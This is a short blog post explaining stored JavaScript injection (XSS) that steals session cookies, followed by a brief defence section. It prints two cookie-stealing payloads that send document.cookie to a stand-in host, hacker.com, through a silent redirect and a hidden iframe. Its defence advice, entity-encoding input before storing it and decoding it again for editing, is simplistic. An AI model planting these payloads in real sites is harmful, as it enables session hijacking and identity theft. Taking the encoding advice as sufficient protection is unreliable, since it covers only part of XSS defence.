JavaScript Injection and How to Defend Against It

Most websites are secured by storing a Session ID in Cookies. This SessionID is used to authorize the user with the website. It is a randomly generated code that is also stored on the server, and these 2 strings are then compared.

In part 1 of this blog post, I want to focus on exactly that: stealing the user’s identity.

But first we need to look at what code can be used to steal a user’s cookies, and with them their identity:

JS
<script type="text/javascript">
var url = "http://hacker.com/hack.aspx?cookies=" + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href);
location.replace(url);
</script>

With this code, which a user could insert, for example, into their profile on some website, you would be redirected to the hack.aspx page along with your cookies and the current URI. The URI would be used to redirect you back once your cookies had been processed. You would most likely not notice anything at all.

Because the hacker would use the location.replace method, the hack.aspx address would not be recorded in the history or in the address bar. However, this is not quite perfect, because the page would keep reloading: as soon as it loaded, the JS would immediately redirect it to hacker.com, which would then send it back to your website.

Of course, this could be prevented if the hacker added a condition to run their code only when the URI does not contain a certain parameter or hash that they would add themselves.

That is why hackers came up with a cleverer method that works the same way but causes no redirect at all. Its JS code would look something like this:

JS
<script type="text/javascript">
var url = 'http://hacker.com/hack.aspx?cookies=' + encodeURIComponent(document.cookie);
document.body.innerHTML += ' <iframe id="myHackFrame" style="display:none;visibility: collapse;"> </iframe>';
document.getElementById('myHackFrame').src = url; </script>

Giving this iframe the CSS styles display:none; and visibility: collapse; means that the iframe will not be visible and will not take up any space on the page, yet it will remain fully functional.

The principle is then the same as with the redirect: it relies on loading the attacker’s page, which processes the cookies.

How can you prevent this?

Simply, but laboriously: you have to store HTML entities in the DB instead of the actual characters, which means replacing dangerous characters such as <, > or & with the corresponding entities &lt;, &gt; or &amp;.

Of course, if you wanted to display this modified code in HTML inputs again (for example when editing), it would be a good idea to convert the HTML entities back into the actual characters.

And that’s all. Next time we will take a look at SQL Injection in ASP.NET, which I have just started exploring.

Categories

Leave a Reply